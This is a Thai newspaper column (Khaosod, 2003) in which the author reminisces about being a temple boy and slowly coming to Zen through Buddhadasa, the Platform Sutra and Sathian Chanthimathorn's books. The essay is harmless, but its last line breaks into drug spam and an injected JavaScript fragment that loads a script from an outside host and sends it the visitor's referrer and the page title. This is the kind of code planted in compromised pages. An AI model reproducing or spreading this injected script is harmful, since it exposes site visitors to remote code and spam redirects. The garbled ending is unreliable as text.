ข่าวสด – วันจันทร์ที่ ๑๔ กรกฎาคม ๒๕๔๖

 

ZEN กับ SIGN

เส้นทางสายไหนล่ะ – เซน?

“เด็กวัด” หรือ “ ศิษย์วัด” มีความหมายอย่างเดียวกันกับ “อารามบอย” ที่พี่ปุ๊ รงค์ วงษ์สวรรค์ ผูกคำใหม่มาใช้อย่างเสเพลบอยข้างวัดที่มีรสนิยมภาษาอุบัติ (ฝ่ายตรงข้ามกับวิบัติ)

ผมมีสิทธิ์สมัครเป็นประธานชมรมเด็กวัด แห่งอะไรสักอย่าง เพราะใช้วิชาชีพมาตั้งแต่เรียนระดับประถมศึกษาบ้านนอกคอกนา จนต้องเกาะชายผ้าเหลืองเข้ามาเรียนต่อในกรุงเทพฯ ก็ยังใช้วิชาชีพนั้น คืออาศัยข้าวก้นบาตรกินอย่างต่อเนื่องกระทั่งเรียนมหาวิทยาลัยก็ไม่เว้น เพราะไม่มีช่องทางอย่างอื่น เลยต้องยึดความเป็น “อารามบอย” ไว้อย่างเหนียวแน่น

เด็กวัดอย่างผมเหมือนคนๆ หนึ่งที่ “แก่เพราะกินข้าว เฒ่าเพราะอยู่นาน” คือ ไม่รู้รสพระธรรม จำได้แต่ “ธรรมะ คือ คุณากร—-“ แล้วอะไรต่อไปอีกนึกไม่ออกซึ่งเป็นอย่าง “นกไม่เห็นฟ้า ปลาไม่เห็นน้ำ” ที่รู้แน่ๆ คือ เข้าพรรษา กับ ออกพรรษา เพราะหลวงพี่บิณฑบาตได้กับข้าวและขนมล้นบาตร เก็บไว้กินได้หลายวัน ถ้าไม่บูดเสียก่อน

แต่แล้ววันหนึ่งก็มีคนชื่อ ขรรค์ชัย บุนปาน ชวนให้อ่านหนังสือปาฐกถาธรรมของท่านพุทธทาสที่ผมไม่เคยรู้จัก ไม่เคยได้ยินชื่อ อ่านแล้วก็ไม่เข้าใจ ไม่ “เก็ต” ต้องฟังคำอธิบายเพิ่มเติมจากขรรค์ชัย ถึงจะรู้ “สเล็กสน้อย” ขึ้นทีละนิดๆ เอาเป็นจริงเป็นจังไม่ได้

ไม่ใช่บัวแล้งน้ำ แต่เป็นบัวใต้น้ำต่ำเตี้ยในโคลนตม ขรรค์ชัยเลยโปรดสัตว์โดยเอาหนังสือ สูตรของเว่ยหล่าง มาให้อ่านอีก อ่านแล้วสนุก เพราะเลือกอ่านเฉพาะโศลกกับบทสนทนาสั้นๆ อย่างไม่รู้เลยว่าหนังสือเล่มนี้คืออะไร? มาจากไหน? ใครแต่ง? ใครแปล? จำได้แต่ต้นโพธิ์ กระจก ฝุ่นละออง และใบไม้ไม่ได้ไหว แต่ใจไหว

ครั้งหนึ่ง เฮียเถียน เสถียร จันทิมาธร ทนเห็นความดักดานของผมไม่ได้เลยแนะนำให้อ่าน ศิษย์โง่ไปเรียนเซน ที่เขาถือไปให้ดูอยู่ที่วัดนั่นแหละ อ่านแล้วถึงรู้ตัวว่า กูนี่มันโง่จริงๆ ว่ะ ศิษย์โง่ๆ ว่าโง่แล้ว กูยังโง่กว่าศิษย์โง่อีก

         จนเมื่อไม่กี่วันมานี้เอง เห็นหนังสือของเฮียเถียน ชื่อ เส้นทางสาย ZEN จากปรมาจารย์ “ตั้กม้อ” ถึง “เว่ยหล่าง” ก็รำลึกชาติถึงช่วงอารามบอยอย่างอัตโนมัติ ต้องเปิดอ่านอย่างโหยหา แต่ยิ่งอ่านยิ่งโหยหิว เพราะกังวลวาบหวิวไปกับกวีโวหารของท่านพี่จนวุ่นวาย แล้วไม่แน่ใจตัวเองว่าอ่านรู้เรื่องและเข้าใจแน่หรือ?

จะเข้าใจหรือไม่เข้าใจยังไงก็ได้ แต่อย่างน้อยเมื่ออ่านแล้วมันกระตุกต่อมให้คิดถึงเมื่อแรกพระพุทธศาสนาแผ่มาถึงสุวรรณภูมินั้น นอกจาก “คาถา เย ธัมมา” ที่มีจารึกเป็นหลักฐานแล้ว พระโสณะกับพระอุตระ เริ่มสอน “ศิษย์โง่” คือพวกคนพื้นเมืองที่ยังบูชาพญานาค ด้วยธรรมะอะไร? สอนอย่างมหายาน หรือหินยาน?

อาจารย์บางท่านบอกว่ายังไม่แยกชัดเจนเป็นมหายานหรือหินยาน แต่ประสมกันอยู่ทั้ง ๒ อย่าง แล้วมีชื่อเรียกสรรวาสตวาทิน ซึ่งฟังแล้วงงอยู่นั่นเอง เลยคิดต่อไปไม่ได้

เมื่อคิดต่อไปไม่ได้ แล้วจะเขียนต่อไปได้ยังไง เพราะ “ถ้าไม่มีความสงสัย ก็ไม่มีความเห็นแจ้ง” นี่แหละเซ็น

แต่ “ศิษย์โง่” อย่างผมถนัดแต่สอย   คือรู้จักเซนที่เป็น SIGN แต่ไม่เข้าใจ เซนที่เป็น ZENfluoxetine cap 20mg cialis generic s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;